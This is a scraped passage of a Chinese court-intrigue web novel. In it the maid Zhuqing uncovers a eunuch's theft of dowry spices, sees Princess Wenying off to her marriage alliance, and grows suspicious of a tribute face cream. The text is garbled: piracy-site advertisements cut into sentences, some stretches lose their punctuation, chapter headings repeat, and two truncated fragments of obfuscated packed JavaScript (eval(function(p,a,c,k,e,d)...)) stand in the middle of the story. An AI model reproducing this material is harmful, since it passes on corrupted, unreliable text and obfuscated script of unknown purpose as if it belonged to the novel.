禄东公公松了一口气,复又在心里瞧不起竹清,他就说嘛,她肯定看不出来的,一个小姑娘,能分清楚这个盒子装着甚麽香就不错了,还能辨别少了哪种香料? “竹清姑娘,既然看完香料了,那咱们是不是可以走了?”钟公公笑着说,禄东公公立马接上,“欸,你们忙碌了这麽久,出去喝杯茶再走,竹清姑娘,钟公公,请罢。” 他这回重点关注竹清,连称呼,都是把竹清放在前头。 很快,竹清与钟公公喝了一杯凉茶,之后才带着人出了殿中省,见他们走了,禄东公公这才掏出帕子擦了擦额头上的汗,他这时才发现,自个背后的衣裳都湿透了。 “禄东公公,您觉得热吗?要不要我给您扇风?”一个小太监凑上来,谄媚地问道。 禄东公公摆摆手,“去去去,不用不用,咱家不热。”这是热的吗?这是让人吓的! 没点眼力见儿的东西。 竹清与钟公公走在前头,宫墙高耸,竹清看着那大红的的朱漆,有点走神。 禄东公公看了看身后离他们挺远的小宫女小太监们,便低声与竹清说道:“竹清姑娘,方才看的香料应该挺好闻的罢?我看你入神了。”快说说,香料有没有甚麽问题。 “做事麽,自然是要聚精会神的,好闻啊,但也许是宫外制香的香娘手艺比不上皇庄里头的,用料有些许不一样,多了或者少了。”竹清暗示,她看着已经接收到消息但是不主动开口管的钟公公,嘴巴撇了撇。 钟公公了然,香料用料缺了呗,肯定是禄东公公那个老货见钱眼开,动了手脚,说不得那些银钱教他拿去买屋买地了。 甭看太监有残缺,好似很有缺憾,但是能在殿中省做到管事,那小日子,过得比外头的地主老财还要舒服,田地、屋契、地契,哪个大太监没有? “哟,下边的人有时不尽心,出了差错也是正常的。不过这也不太好管,要知道谁没个亲朋好友呢?也许这个是他的干爹,哪个是他的姑妈,总有人关照他,你贸然骂他一顿,表面 上舒服了,内里可不就是惹了人家身后的人?”钟公公隐晦地提点。 打了小的来了老的。 竹清顿悟钟公公的意思,这就是禄东公公背后有人,所以他胆大妄为。钟公公也是在提醒她,别莽撞地拆穿禄东公公,不然他遭了罪,背后的人就不会放过她了。 “哦?钟公公说的有道理,这样的事,哪儿是咱们能管的,最后哪个负责的,便找谁,一串,从上到下,哪个都跑不掉。”竹清似笑非笑,她唇角勾起,看着钟公公为难的神色,她甚至在心里吹了一口口哨。 她就直白地说了,如果今日这事钟公公不打算管,那麽最后捅出来,太子妃受罚,他也跑不掉。 钟公公的确明白竹清的意思,只是他犹犹豫豫,他们这样的大太监各有各的关系与地位,像他这样的临时被安排管嫁妆的,待文英公主出嫁,他也要回到原本的宫殿当管事太监,与禄东公公这种在殿中省有实权的太监可不一样。 可是竹清的话也有道理,要是秋后算账,主子们焉能饶了他?只怕他连现在管事太监的身份都保不住。 “是这样的,禄东公公有个干爹,在勤政殿做事的,地位麽,不高不低,但是足够保护他了。”钟公公说,就因着这一层关系,他才不想与禄东公公对上。 “急甚麽,这事还得主子们做主儿。”竹清挑眉,在她说罢,钟公公的脸色缓和下来,点点头,不再言语。 竹清没有许下承诺,钟公公也没有异样,到了分叉口,钟公公率先说道:“哟,那咱家就先带着人走了,竹清姑娘下回见。” “钟公公请。”竹清的礼仪向来做得好,不论心里在想甚麽,她表面上总是笑着的,笑得温和谦逊,仿佛没有任何脾气。 钟公公微微弯腰,算了回了竹清的礼。竹清礼貌,他可不能托大。能做东宫管事的人,哪儿会没有脾气? 竹清领着人回到了东宫,太子妃不在,她便又观察了东宫里头心怀不轨的宫女太监们,待太子妃回来,她这才去找太子妃回禀今日遇见的事。 太子妃听了,略微头疼地揉了揉太阳穴,竹清见状,便走到她身后,替她揉捏起来。 “我就知道肯定不会恁轻易就教我得个功劳的。”太子妃说,皇后特意安排她管这几样,说不定也是知道有 禄东公公这件事。 “那钟公公有没有说禄东公公背后的人是谁?” 竹清摇摇头,“没有呢,想必是要咱们自个查,不过这也不难,奴婢与殿中省的大太监林忠海认识,只寻他问问便可了。” “有你在身边,我总是省心不少的。”太子妃保养得宜地手拍了拍竹清的手背,她为何这般器重竹清?还不是她不声不响就能结交恁多人脉,就像一张大网,此刻就用上了。 “太子妃放心把此事交给奴婢罢,奴婢会调查清楚的。只是查清楚之后,该如何解决?”竹清问,这事就不是他能决定的,得由太子妃自己慢慢思索。 “先看看罢。接下来几天你每天都去盯着,看看送进来的第二批、第三批的香料有没有问题。”太子妃说,衣料甚麽的同样能做文章,她又嘱咐了竹清注意一下。 * 竹清把腰牌拿给守卫看,随后顺利地出了宫,她这个月出宫两三回,比起从前在王府日日出府算是少了很多。 她租赁了一顶轿子,小半个时辰后,她来到了林忠海的宅子里,林忠海果真在这儿,正躺在摇椅上,闭着眼睛听着伶人唱曲儿。 “竹清姑娘来了?请坐。”林忠海身子都没有动一下,只眼皮子微微掀起来,看了竹清两眼。 仆从给竹清端来茶水,竹清低头喝了,慢慢悠悠地说道:“林公公这生活,可真是滋润。” “人活这几十年,可不就是想要一个舒坦?”林忠海咿咿呀呀地跟着戏曲唱起来,他费心费力爬到管事的位置上,就是想着下半生无忧的。 “林公公可有空?”竹清问,林忠海抬眼瞧了瞧竹清,老脸上是洞若观火的神情,他说,“你有甚麽麻烦,说来听听,我正有空,给你解答解答。” 竹清说了,问道:“林公公知道麽?” “自然。”林忠海说,禄东那个狗东西多次不敬他,他肯定咽不下这口气,明里暗里地调查他,可以说,他很了解禄东。 比他的相好还要了解。 “禄东有个干爹在勤政殿为陛下管一日三餐的,可以说是得意人,在陛下跟前有几分情面罢。你要是想要揭发他,就要连带着他的干爹一起弄下去,那个人可不是个好相与的,心眼儿比针小。他奈何不得主子们,却能教你暗里吃个 大亏,所以要做,就要一击即中。林忠海甚少说这样长的话,这会儿一次性说罢,也是想添砖加瓦。 “他有没有甚麽弱点?竹清问,林忠海想要她把禄东公公搞下去,那就得帮帮她。 林忠海显然查清楚了,不带思考地说道:“有。 竹清眉眼弯弯,认认真真地听着。 * 被旁人暗地里耻笑以及可怜的文英公主其实并不算很难过,相反,她还很高兴。 她坐在梳妆台前,轻声地哼着不知名的曲儿,一个妇人走进来,恨声道:“你还有脸笑?这样的事,你的以后都毁了,还敢笑? 文英公主嗤笑,她看向因着长年累月生不出嫡子便可劲儿折磨她的母亲,讥讽地说道:“母亲,您打小把我当男子一样培养,寒冬腊月我还要举着手练字,不练够一个时辰便不让我停下来,到现在,我的手吹风了还会疼。我早就没有以后了! 她伸出左右手,意外的,那不是一双纤纤玉手,而是手指略微畸形的手。母亲对她的控制令人发指,她两岁就要左右手同时习字,长年累月下来,手早就坏了。 “离开了您,我才有了以后。文英公主说,天知道她听见羌族族长要求娶她的时候有多高兴! 逃离这里,逃离这个让人窒息的王府。 “你,你,你一个金尊玉贵养大的郡主,何以去那种地方,去也就算了,还这般高兴?王妃气得直哆嗦,她看着面容依旧的文英公主,只觉得她从内里变了一个人,这不是她的女儿! “母亲。 “从小到大,您从来不问我想要甚麽,琴棋书画、诗词歌赋,这些有哪一个是我自个想要学的?我想骑马,我想在一望无际的草皮上顽耍,您从来不允许。您说女子就该贤良淑德,温柔如水,可是没有谁规定姐儿就该成为怎麽样的人。您与父王没有任何区别。 文英公主满眼痛苦,她做不到恨母亲,可同样做不到将以往的一切轻飘飘的揭过。 甚至母亲连夫婿都不准她自个选,那些被母亲回绝的哥儿,曾经 也有她心动之人。 不过现在都不重要了。 “父王不是答应您了把惠侍妾的儿子记在您的名下?日后您就有了寄托。”文英公主浑身轻松她没有过去扶住捂着心口的母亲而是看向窗外日头正好鸿雁高飞。 她过好好过日子的一定会的! * 从林忠海那儿得知了这些消息后竹清就不打扰了她出了宅子然后又去外头酒楼要了一壶酒几碟小菜自斟自饮慢慢地望着下方叫卖的小贩们。 虽然进了宫不再需要在小摊贩上采买可是对于民生物价她还是要了解的从细微的地方能察觉到某一些变化。 “竹清姑娘怎的坐在这儿快快上雅间。”不消几时被她寻来的曹大商人与孟大商人就到了这家酒楼正好是曹大商人的他提着衣摆急匆匆地上楼见了竹清忙客气地请她进了雅间。 “曹大商人孟大商人。”竹清唤了一声“我一个人坐哪儿都成不必如此。” “欸贵客上门岂能随随便便接待。”曹大商人巴不得竹清找他这会儿十分热络等竹清喝了他冲泡的茶之后他才问她“竹清姑娘这回出宫寻我们哥俩是有甚麽事吩咐麽?” “有点事情想找你们问问毕竟还是你们懂行。”竹清笑着说随后她问了几样昂贵香料在市面上的情况。 “你说的这几样香料都不便宜很少商户敢沾染 “那就有劳两位商人帮我查一查我今日出来得早便想着今日事今日毕。”竹清提出自己的要求她出宫不容易总不能又等上个十来天再出来罢? 她看了两位商人一眼“两位合作想必查得更快。”这也是她为甚麽把孟大商人也找来 “那竹清姑娘且等等。”孟大商人起身与曹大商人一同出去了他们也没有问做了这次的事有哪些好处正是这样的小事一点一点累积起来待到后头他们有大事才好找竹清姑娘帮忙说嘴呀! 竹清没有白白等待而是让掌柜的拿来笔墨纸砚在雅间里开始练字练了恁多 年她的毛笔字早就一气呵成。 练了半个时辰她又开始在纸上勾勾画画写的正是她这些年认识的人外头的商户有曹大商人、孟大商人、林大商人等等从前王府认识的就多了像画屏、竹溪她们都是硬要说的话几张纸都写不完。 宫中有新结交的好友林忠海、霜玉姑姑、雯棉姑姑……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“为着你这份心本宫与你的陪嫁添多两成也好教你日后无忧。”皇后喜欢懂事的孩子更别提文英公主是联姻彰显两族友好。 文英公主心中一喜她这样的举动不就是想要多一些嫁妆让底气更足一些麽?既然目的达到了她就真心实意地道谢。 太子妃见状也微微一笑开口道:“母后仁慈 “多谢太子妃。”文英公主照旧谢了。 “好了你既然进宫了不若去瞧瞧你的嫁妆置办得如何了也好教你安心。”皇后说“有一部分是太子妃负责的你跟着她去先看了那些有甚麽不懂的也问问太子妃。” “是。” “文英公主在宫中若是无聊只管去东宫寻我我们坐一起喝茶下棋都成的。”太子妃说她对于即将远离故土的文英公主有一丝复杂的情绪不是怜悯可怜而是佩服。 她记得小时候见过一个宗室女子去塞外和亲一张脸皱的像苦瓜。 “我也是这般想的只是太子妃不嫌弃我叨扰就是。我预备带几个玉棋盘去和亲到了羌族的地界我便教他们下棋这般就不无聊了。”文英公主说她对于即将到来的生活充满了期待。 “好。”太子妃握住了文英公主的手对她的乐观很是敬佩。 到了安和宫钟公公疾步迎出来先行礼随后轻声问道:“太子妃与文英公主可是要瞧瞧置办得如何?且等等里头西配殿正有工匠在磨木头呢尘屑大且等奴才去教他们停下。” 过了半刻钟太子妃与文英公主这才进了安和宫一批批的衣料首饰被制好送来把安和宫堆的满满当当太子妃看向了竹清说道:“竹清安和宫素来都是你盯着的你便与文英公主说说。” “是。”竹清应了不需要打腹稿麻利地说道:“太子妃文英公主东配殿是放置衣料的这些衣料俱都做了防腐的工艺这个箱子里放着的是轻云纱塞外一年有四个月惹得像火炉皇后娘娘便教人多制些轻云纱来日后文英公主轻快些。这是烟州快马加鞭送来的流光锦在夜色下会浮现光芒……” 竹清解释的同时会 带上主子们,像皇后娘娘与太子妃,好让文英公主知道,这是谁的功劳。 果不其然,文英公主听了,感激地看向太子妃,说道:“太子妃这般为文英,文英实在是感动。 太子妃暼了一眼竹清,心中对她满意,“这是哪儿的话?你是代表大文和亲,史书也会记载的,这等大事,我自然是要尽心尽力的。何况……她叹了一口气,说道:“何况你不过十七,就要独自去恁远的地方,我再不亲自看着,不亲自置办妥当,怎麽对得起你。 这一番话可以说是推心置腹了,文英公主愣了好一会儿,随后动容地喊了一声,“太子妃。 竹清早在太子妃说话时就止住了声音,待太子妃安抚住文英公主后,她这才继续说道:“西配殿是工匠们做拔步床用的,草原上多用篷包,怕文英公主住的不习惯,所以陪嫁的拔步床不少。 一般而言,贵女们出嫁至多陪嫁六张拔步床,取意六六大顺,给文英公主陪嫁八张,也是怕草原上磕磕碰碰,拔步床容易坏。 文英公主仔细看了一张即将完工的拔步床,她也不怕脏,直接用手抚摸,“甚好,我很喜欢。 说更新,记住域名caixs.com◢(请来才小 说 看最新章节 完整章节)她望向了身旁的宫女,赞赏道:“你讲的很好,我听着舒服,青黛,赏她。 竹清立马福身,“奴婢谢文英公主赏。 见竹清给自己长脸,太子妃脸上不免得意,“既然文英公主赞你了,你便继续为文英公主说道说道。 “是。竹清应了,文英公主方才听皇后说太子妃还负责香料,此刻没有看见任何香料,便奇怪地问道:“香料不在此处麽? 作者有话要说 第 64 章 竹清表情不变,“... 第64章竹清表情不变,“. 竹清表情不变,“香料因着气味重,暂时放在殿中省,且香料是殿中省负责的,若文英公主想要看,奴婢可以带路。” 一听去殿中省,文英公主就摇摇头,说道:“不必了。”要太子妃陪她去殿中省,未免不妥。 逛了几圈,文英公主就回椒房殿了,她进宫的这些天都住在皇后宫里。 “文英公主性子好,不骄不馁,奴婢看着,她似乎还有几分欣喜?”竹清给太子妃上了一盏子绿豆汤,清热消暑正是最佳的。 “不管如何,她能立起来,以后总不会差的,再怨天尤人下去,不消几年,只怕就香消玉殒了。”太子妃想到和亲的那个宗室女子,她嫁过去没几年就病骨缠身,捱了一年,到底去了,连个孩子都没有留下。 她的那些嫁妆,也便宜了旁人。 “竹清,那件事你可以去办了……”太子妃低声与竹清说,竹清认真听了,又信心满满地对太子妃说道:“太子妃就放心罢,奴婢一定做好,教那禄东公公吃一回苦头。” “去罢。”太子妃说。 * 太子忙碌了一阵儿,待陛下身子好些了,他这才有空到正院,太子妃逮着了他,忙问他,“太子,您看后院侍妾们的位份是不是要分封了,她们问了妾身好几回。” “嗯。”太子的想法与太子妃的差不多,崔侍妾因着有个聪慧懂礼的好儿子,顺利做了良娣,再就是李侍妾,太子想着补偿她,便让她做了良娣。 “剩下的一个,不急,应当有新人进来。” 再之后,就是良媛了。 “苗侍妾生了沛哥儿,便让她做良媛,康侍妾有岚姐儿,便也算她一个。”太子说,“其余的,太子妃可有甚麽人选?” 太子妃沉吟,想了想十年如一日为她做鞋袜熬汤汤水水的温冬,她愿意给温冬一个好前程,“不若温冬?她是妾身的陪嫁,虽说这麽些年没有为太子生个一儿半女的,但是到底用心伺候,她也合该往上升一升。” “那就按你的意思。”太子说。 太子后院女子位份的升降不过是一句话的事,随着他的命令传下去,后院就有些喧嚷了。 有人欢喜有人忧 愁。 像一直谨小慎微的崔侍妾一朝听闻自个成了崔良娣喜得找不着北只比侧妃低一点! 往后铮哥儿跟着她也是个身份地位不低的哥儿了。 但是像苗侍妾原本满心期待自己能成为良娣没成想才是一个良媛当场没有绷住露出了沮丧的神色。 “姑姑慢走。”送走了前来下令的姑姑之后苗良媛忽的砸碎了一个杯子她听着崔侍妾成了良娣又听见儿子都过继出去了的李侍妾也成了良娣一颗心肝火烧火燎烧得她整个人神志不清。 “崔良娣也就罢了她凭甚麽?我有沛哥儿呢居然都当不上良娣……”那个温侍妾无儿无女的都能当良媛。 “沛哥儿沛哥儿我对不住你……” 苗良媛哭得上气不接下气一时间她也病了。 * 竹清照旧去安和宫监工只刚进去没多久钟公公就小跑着走出来好容易匀了气他把竹清拉到墙根儿底下 小说全网首发无弹窗免费阅读caixs?(请来才 小说 看最新章节 完整章节)两个人说着小话。 “哎呦喂大事大事。”钟公公捏着兰花指“竹清姑娘有件大事发生啦!” 竹清故作不知问他“怎的了钟公公看你这满脸喜庆的模样甚麽事啊?” “欸。”钟公公明显不信竹清不知道只不过他也配合竹清解释道:“是殿中省的禄东公公他大难临头了。” “哦?他如何了?”竹清问。 “听闻今个一早负责搬香料的太监们不小心打翻了一些盒子那圆锦盒本就锁得不严实全部香料都倒下来了恰好皇后娘娘宫里的大嬷嬷去殿中省有事听闻了此事去查看。一看不得了就发现香料里缺少了东西。”钟公公一口气说了一大堆末了补充一句“你应当还不知道那嬷嬷也会制香一看那香料融于水的色泽就知道不对劲了。” “然后呢。” “嬷嬷报给了皇后娘娘皇后娘娘震怒教人把禄东公公拿住了他这回算是完蛋了要是捅的篓子大命都保不住。”钟公公唏嘘。 这还不止呢竹清心想。 她跟着钟公公逛了一圈然后与钟公公说要去殿中省钟公公也想跟着去看热闹两人同行。 殿中省。 “林公公钟公公与竹清姑娘又 来了。”小太监原本以为这一次林公公也不见这两个管事,没成想林公公却叫住了他,说道:“你先去与他们说,我马上就到。” 林忠海整理了一下衣领,自有一股春风得意之感,举手投足间满是轻快。他快意地踏过门槛,待瞧见了两道熟悉的身影,忙疾步走过去,拖长调子地说道:“竹清姑娘,钟公公。” 短短几个字,被他喊得婉转柔情。 竹清动了动身子,感觉浑身鸡皮疙瘩都起来了,她略微后退半步,让钟公公站在前边。 “你们两个可来了,咱家今儿正好得空,来来来,咱家亲自领了你们去瞧瞧。”林忠海满脸笑意,在他转身之后,竹清与钟公公同步撇了撇嘴,之前不见你有空,禄东公公被拉下去了,你就有空了。 老狐狸!竹清和钟公公同时在心里想。 “来,这是今日新登记的单子,钟公公瞧瞧。”林忠海把单子递给钟公公,这回钟公公没有拒绝,因为他已经摸清了竹清与林忠海的性格,尤其是竹清,他知道她不会介意。 “竹清姑娘先喝杯茶?”林忠海招招手,就有小太监递了茶水过来,他说道:“不是甚好茶,不过清热解渴。” 竹清借着喝茶的动作与林忠海对视了一眼,见他嘴角压不住,便知禄东公公背后的那个干爹也紧跟着出事了。 钟公公虽然看着单子,但是一心二用,也关注着他们两个喝茶的,见他们的神情,他似有所悟,彻彻底底放下心。 三个人都没有说话,但是聚在一起,那心眼子比筛子都要多。 不用说得明明白白,他们也就能从神态上推断出某些消息。 “咱家看完了,数量是没有问题的,只这内里咱家不大懂,竹清姑娘可要仔仔细细看看?”钟公公问,转手间,单子就到了竹清手上。 因着出了禄东公公这件事,这些香料都需要经过仔细检查,林忠海说道:“等田息嬷嬷带人来验过才可。” 这事竹清早就知道了,太子妃让她与田息嬷嬷一起检查。而田息嬷嬷,是皇后身边的嬷嬷。 钟公公说道:“林公公,这茶水香,不若咱们进去好好尝尝?” 竹清头也不抬,“我在这儿等田息嬷嬷,两位公公去罢。”钟公公突然想和林忠海单独说话,她也大概 猜到了。无怪乎就是禄东公公没了,殿中省空了一个管事的位子,钟公公也想试试要。 人人都想往上爬,甭管是官员还是奴才。 见竹清识趣儿,钟公公心里给她记了一笔。他们走了不久,田息嬷嬷就到了殿中省。 竹清主动迎上前去,见田息嬷嬷眼神左右看了看,她了然,解释道:“林公公与钟公公有事忙,特意托了奴婢接田息嬷嬷,嬷嬷这边请。 田息嬷嬷是跟着皇后的,一张脸肃着,几道深深的沟壑让她看起来不好惹,她掀了掀眼皮子,没说甚麽,反而问竹清,“听说你也会制香?可擅长? “擅长。竹清大大方方地说道,这可不是藏拙的时候。 “嗯,那我问你,贵人们常用的枝九瑞麟香用甚麽材料做的?田息嬷嬷问。 “回嬷嬷的话,三钱的牡丹花蕊与荼靡花蕊碾碎,青州独有的瑞麟龙眼在刚刚打青时就摘下来,挖去果肉,只余下青涩的果皮,用清酒浸泡半个月,随后…… 可见熟悉。 田息嬷嬷颔首,她静心听着,倒是一分不错,不由得,她心里就对竹清有了一丝好感,是个肯下苦心去学着的。 聪明机灵,又耐苦耐劳。 只问过这一次,田息嬷嬷便不再继续了,反而开始安排活计,竹清与她一样,各领十个香娘去一一查验香料。 “这些都是外头皇庄子上暂时调过来的香娘,可能用的不习惯,倒也不碍事,你多担待着点。田息嬷嬷看向竹清,说道:“她们到底没有进过宫,一时手忙脚乱也是有的。 “是,奴婢知道了。 竹清与田息嬷嬷领着两队人,同时开始拿着香撑子一一舀起香料去细闻,一盒香料需要三个香娘嗅过,都觉得没有问题了才算可了。 两边的香料盒子数量一致,一开始她们速度差不多,渐渐的,竹清那头已经超越了田息嬷嬷带的人,田息嬷嬷不免诧异,她知道竹清会制香,难不成她嗅觉很厉害,一闻就知道了? 到最后,竹清那队却与田息嬷嬷这边同时间检查好,田息嬷嬷笑了笑,心里立马给竹清安了一个词,滑头! 既展现了自个的能力,又展现了自个的为人处世 ,哎呦,她到底是老了,如今的小姑娘,都已经这麽人精了? “好了,新的单子你记得看好,待他们统计出来,再呈交上来。”田息嬷嬷吩咐。 竹清把田息嬷嬷送出去,又返回殿中省,亲自看他们收纳归类。 待真正闲下来,已经月上柳梢头了,竹清一觉睡到了翌日响午。 她刚洗漱出来,问小宫女,“太子妃是出去了麽?” “回竹清姐姐的话,没有呢,文英公主来了,正与太子妃闲谈。”小宫女说罢,竹清就进去了。 “哟,我正与太子妃说到你,你就来了。”文英公主见了竹清,很是喜爱她,忙问她一些香料的详情。 她今个一早在椒房殿听闻了嫁妆出问题,心里既惊又怒,这些奴才摆明了不把她放在眼里,这样一点香料都有问题,其他嫁妆呢? 所幸清清楚楚地查出来了,再就是这事本就是竹清盯着的,所以她肯定清楚内里,此次她上门,也是想知道的更明白一些。 竹清完完整整地说给文英公主听,太子妃说道:“你自个的嫁妆,不放心便去殿中省瞧瞧,你也学过管家,应当也懂的。” 文英公主说道:“我晚些去,还是有劳太子妃身边的人了。”她看向竹清,见竹清笑了笑,便也跟着笑起来。 “太子妃的人可真能干。”文英公主真心实意地感叹,“要是我身边伺候的有竹清一半本事也就好了。”她的丫鬟妈妈都是母亲掌眼挑的,过于活泼的不要,过于强势的不要。有几个明明被她带的有人气了,偏偏母亲又不满意,拨出去了。 挑来捡去,到最后她身边剩下的丫鬟,竟都是推一下才会跟着动一动的木头。别说平日里规劝她,就连出事了,她们也只会等着她拿主意,连一个字都不说。 忒没有趣儿了。 “跟着你去的丫鬟都定下来是自梳来罢?时日还长,将来你多教着她们一点,她们自然会变的。”太子妃说,跟着去和亲的丫鬟与姑姑,自然都是不肯嫁给外族人的,偏偏她们又不能回京了,便只能自梳,好歹不落人口实。 “也是。我听说竹清姑娘去过塞外?风光如何,能不能与我讲讲?”文英公主特意打听过宫里头有谁去过边塞,结果没有几个出过远门。 好不容易探到的, 是太子妃身边的人。 “好,奴婢这就为文英公主细说。竹清说,她觉得文英公主身上有一股韧劲儿,哪怕前路不明,也还是积极乐观地去面对。 这很好。 时间就这麽一日一日地过去,出了禄东公公偷盗的事情后,宫中忽的就清明不少,连御膳房厨子们偷摸拿东西的现象都不见了。 很快就到了文英公主出嫁的日子,和亲向来没多少时间准备,像文英公主在宫中呆了不过一个多月,这就要离开盛京城,去一个她从前压根儿没有见过的地方了。 太子妃只能在椒房殿送一送文英公主,她对文英公主印象不错,便吩咐竹清等一下跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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待文英公主上了八抬大轿之后,队伍开始动起来,皇后娘娘与太子妃在门口看着一箱箱的嫁妆被抬过,皇后感慨似的说道:“也不知有没有那再见的一日。” 她与文英公主虽然不是亲母女,相处也不过短短一个月,但是打心底里,她喜欢文英公主这样的女子。 太子妃安慰道:“母后莫伤怀,文英公主英气勃发、内里坚韧,说不得将来还能做出一番事业,风风光光地回盛京城,教咱们刮目相看呢。” “但愿如此。”皇后呆了一会儿就回去了,太子妃留下来,待队伍全部驶过椒房殿,她也才走了。 而这会儿,竹清已经跟在轿子旁边出了皇宫,街道两旁被带刀的侍卫们守着,有百姓站得过于靠前,还会被人呵斥退回去。 “那就是公主麽?听说是去和亲的。” “可不是,乖乖,看这些嫁妆,这得多少抬?数都数不尽。” “自然数不尽了,这个文英公主是和亲的,一去不复返,给的陪嫁当然是多的,不然半路还要回来拿银钱花可怎麽办?” “她嫁的人有福气了,恁多嫁妆,一家子都吃不完啊!不过她自个就惨了,嫁去那种地方,听说羌族人茹毛饮血呢!” 这些闲言碎语不停地往耳朵里钻。竹清双手交握放在腹部前方,走了好一段,还是能听见这些百姓议论文英公主,言语中并没有甚麽好话,她不动声色地暼了一眼轿子里面,文英公主自个把盖头取下来了,正放在腿上,看她神色,并没有被这些百姓影响到。 快要到盛京城城门了,到了那儿,竹清的任务就完成了,不用再跟着送亲队伍走。 “竹清,你回罢,这些天多亏你了。”到了城门处,文英公主出声与竹清说,要不是竹清伺候着太子妃,她真的想把竹清也带去羌族的地界。 可惜不行。 “竹清祝公主此去一切顺利、振翅九天。”竹 清简短地说完祝福语,随后脱离了队伍。 那顶通体雕花的花轿就那样逐渐消失在她的眼里,竹清收回视线,正想回宫,就听见有人唤她。 “可是竹清姑娘?” “你是?”竹清问她。 “我是文英公主在京城陪嫁铺子的管事,文英公主特意交代了我,让我把这些交给竹清姑娘。里头都是些名贵香料的材料,很难寻的,文英公主说了,与你投缘,所以送一些你喜欢的材料。”那管事说罢,把手上提着的几个方盒子递给竹清,并说道:“文英公主还说了,日后竹清姑娘有甚麽需要,也尽管来铺子寻我,我能帮上你的,定会帮。” 随后,她说了铺子的位置。 “多谢。”竹清说,文英公主在京城中还有铺子? 回到了东宫,太子妃早已歇过一觉了,正起来,没骨头似的赖在美人榻上,由着几个宫女替她捏脚捏肩。 “太子妃,奴婢回来了。” “如何?文英公主可有伤心?”太子妃问道。 “你们都下去罢,这里有我伺候太子妃就可以了。”竹清先是吩咐宫女们出去,又亲自关上门,这才回答太子妃的话,“没有呢,奴婢看得真切,文英公主没有伤感,她甚至把盖头拿下来了。” “意料之中,她是个不羁的性子。”太子妃说,哪怕外表再如何温柔娴静,但是只有深深接触过她,才会发现她生性狂放不羁。 “还有,文英公主在京城中的陪嫁铺子没有全部换成银票,还留了一两家。”竹清把管事的事告诉她,又说道:“可见文英公主内心不是一点成算都没有的。” “不管日后能不能回京城,在京城有个铺子,知道消息也快。”太子妃想到文英公主的母家就摇头,那样的家,不带累她就已经很不错了。 * 时间一转就到了八月,这个月有中秋节这样的大日子,皇后早就吩咐了太子妃帮忙,理所当然,竹清也忙起来了。 中秋节除了要处理皇庄敬献进来的物什外,还需要料理外头州府官员们呈到宫中的各色孝敬。 竹清跟着太子妃前往呈放孝敬的宫院,这儿叫安宁宫,管事的首领太监正正好是竹清认识的熟人,钟公公。 作者有话要说 第 65 章 贡品青颜玉 第65章贡品青颜玉 “奴才见过太子妃,太子妃金安。”钟公公一溜烟到轿撵前行礼,待太子妃叫起来后,他就起身,上前扶着太子妃。 “太子妃慢一些,安宁宫人多,免得冲撞了您。” 竹清乐得给钟公公一个表现得机会,也不与他争,落后两步,由着他伺候太子妃。 这钟公公,想搭上太子妃,好给他挪位子呢! “你先说说送来的礼都如何了?”太子妃像是察觉不到钟公公的谄媚,淡淡地说,接着,她低头看单子。 “是,安宁宫分置的礼都是有规矩的,各州府同级别的大人的礼品就放在一处,再细分,容易被烈日影响到的,就先登记入库,放入殿中的阴凉处……”钟公公讲得很清楚,太子妃偶尔点点头,示意他可以继续讲下去。 “殿中省可有送冰块来?如今八月,还是热的,一些贡品容易坏,如若冰块不够,你只管去与竹清说,让竹清找殿中省。”太子妃穿梭在各种置台旁,每当她经过一个置台,候在一旁的宫女太监们就打开盒子,让她能够看见里面是甚麽东西。 “回太子妃的话,冰块都是够的,皇后娘娘早有吩咐,殿中省不敢怠慢,每日冰块都是尽量的。”其实每一日还有剩下的,不过这个就不用与太子妃说明白了。 “有甚麽难保存的?你带路,我可是要仔细瞧瞧的。”这儿没有外人,太子妃说话也就随意了点,她还指了指钟公公,说道:“也让我看看,你有没有尽心尽力。” “奴才哪儿敢不尽心竭力?太子妃这边请。”钟公公一听就赶忙领着太子妃去往正殿,瞧他熟练的样子,倒真是了解这些贡品。 “太子妃请看,这三盒是交州知州送来的,说是可以美容养颜的上好膏脂,名叫青颜玉。交州那地界常年高温,日头毒辣,所以那里出来的美容养颜的膏脂,都是有名的,更遑论这是贡品,上佳之品。”钟公公说得头头是道,腹中有些墨水。 “不错。”太子妃点头,赞同了钟公公的话,“有没有小盒的?寻出来让我看一看。” “有的。”钟公公说,交州知州送来的贡品中特意有几盒小的,只能用几次的那种用量。 太子妃拿着一个青色的小盒子 ,打开后,一股幽香直扑鼻,清凌凌的,让人浑身一清醒。 “薄荷香?太子妃用钟公公递过来的银勺子挖出来一点,仔仔细细地观察过,又问钟公公,“可有叫人试过? “有的,只不过时间不长,还看不出来效果,旁的不明显,倒是这香气,能停留许久,宫女今个用了,过几日也还有那股味道存在。钟公公说,若无意外,交州知州这一次送的礼可就教主子们高兴了,哪有女子不爱美爱俏丽? 只不过瞧太子妃这神色,倒是对这青颜玉无甚热络? “竹清,你闻闻。太子妃把竹清招过去,竹清鼻子灵敏,方才就已经嗅到了青颜玉的味道,只是这会儿凑近了闻,却闻出了一阵很细微的、让她有些沉醉的味道,待她眨眨眼,她就觉得这青颜玉不大对劲。 “如何?可好?太子妃问道,她有竹清给她制美容的膏脂,所以对于这青颜玉,并没有多想拥有。 竹清细细感知了一下,还是觉得不妥,但是一时半会儿间,她说不出是哪里的问题。青颜玉里头,有一些繁杂的味道,她以前应当闻过,不过现在想不起来了。 她对太子妃使了一个眼色,嘴上却说道:“奴婢眼拙,交州知州大人送来的东西,自然是不错的。 钟公公点头,是了,官大人们进献的贡品,自然不是咱们这些小人物能说道的。 太子妃却从竹清的神态中觉察到不对,她放下青颜玉,随后说道:“既然难以保存的,便教人看着罢,还有其他的麽? 待看完了所有的贡品,太子妃这才带着竹清出了安宁宫,照旧是钟公公送她们出去,钟公公还瞧了瞧竹清,见她不看自个,颇觉着急与遗憾。 东宫,正院。 “你方才魂不守舍的,可是那青颜玉有问题?太子妃问,她屏退所有宫女,与竹清说悄悄话。 “奴婢也不好说。竹清斟酌地说道:“只那味道,虽然好闻,但是的确让奴婢觉得有问题。 “甚麽问题。 “里头用的料子,应当是不适宜做膏脂。竹清还没有想到那股味道是来自哪种材料。 